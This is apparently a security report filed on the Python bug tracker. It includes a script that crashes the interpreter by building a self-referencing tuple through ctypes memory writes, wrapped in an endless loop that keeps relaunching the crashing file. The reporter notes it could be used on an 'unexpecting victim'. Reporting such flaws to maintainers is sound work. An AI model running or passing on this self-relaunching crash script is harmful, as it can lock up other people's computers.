New submission from pablo sacristan:
import ctypes, struct, sys, os
while 1:
os.system('python /Users/pabstersac/Desktop/Python\ Files/crash.py')
#Change to your full path to the file
inner = ()
outer = (inner,)
c_outer = (ctypes.c_char * sys.getsizeof(outer)).from_address(id(outer))
inner_index = c_outer[:].find(struct.pack('P', id(inner)))
c_outer[inner_index:inner_index+struct.calcsize('P')] = struct.pack('P',
id(outer))
print outer
#construct and print a self-referencing tuple
run it and wait around 10 sec for it to happen, but once it starts you will be
forced to force it to shut because it will keep on crashing infinitely which is
extremely annoying, and even while it says it crashed it still runs and keeps
on running infinitely, which if you do on an unexpecting victim, they will
probably shut down the computer directly.
There are basically two problems here, the way you construct and then print a
self-referencing tuple, and the way you handle when it is put in an infinite
loop with itself calling its own file (which if you wait long enough will see
the effect goes quicker every second, it goes up exponentially) and you don't
stop it correctly.
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files: crash.py
messages: 261319
nosy: pabstersac
priority: normal
severity: normal
status: open
title: Infinite crash leading to DoS
type: security
Added file: http://bugs.python.org/file42088/crash.py
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